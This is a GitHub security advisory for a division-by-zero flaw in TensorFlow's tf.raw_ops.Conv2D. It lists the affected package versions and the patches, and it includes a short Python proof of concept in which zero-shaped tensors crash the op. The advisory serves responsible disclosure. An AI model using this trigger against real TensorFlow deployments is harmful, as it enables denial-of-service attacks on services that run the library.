GHSA-4vf2-4xcg-65cx Division by 0 in `Conv2D`

• PyPI tensorflow: < 2.1.4 → fixed in 2.1.4 • PyPI tensorflow: >= 2.2.0, < 2.2.3 → fixed in 2.2.3 • PyPI tensorflow: >= 2.3.0, < 2.3.3 → fixed in 2.3.3 • PyPI tensorflow: >= 2.4.0, < 2.4.2 → fixed in 2.4.2 • PyPI tensorflow-cpu: < 2.1.4 → fixed in 2.1.4 • PyPI tensorflow-cpu: >= 2.2.0, < 2.2.3 → fixed in 2.2.3 • PyPI tensorflow-cpu: >= 2.3.0, < 2.3.3 → fixed in 2.3.3 • PyPI tensorflow-cpu: >= 2.4.0, < 2.4.2 → fixed in 2.4.2 • PyPI tensorflow-gpu: < 2.1.4 → fixed in 2.1.4 • PyPI tensorflow-gpu: >= 2.2.0, < 2.2.3 → fixed in 2.2.3 • PyPI tensorflow-gpu: >= 2.3.0, < 2.3.3 → fixed in 2.3.3 • PyPI tensorflow-gpu: >= 2.4.0, < 2.4.2 → fixed in 2.4.2

Impact An attacker can trigger a division by 0 in `tf.raw_ops.Conv2D`: ```python import tensorflow as tf input = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.float32) filter = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.float32) strides = [1, 1, 1, 1] padding = "SAME" tf.raw_ops.Conv2D(input=input, filter=filter, strides=strides, padding=padding) ``` This is because the implementation does a division by a quantity that is controlled by the caller: ```cc const int64 patch_depth = filter.dim_size(2); if (in_depth % patch_depth != 0) { ... } ``` Patches We have patched the issue in GitHub commit b12aa1d44352de21d1a6faaf04172d8c2508b42b. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range. For more information Please consult our security guide for more information regarding the security model and how to contact us with issues and questions. Attribution This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.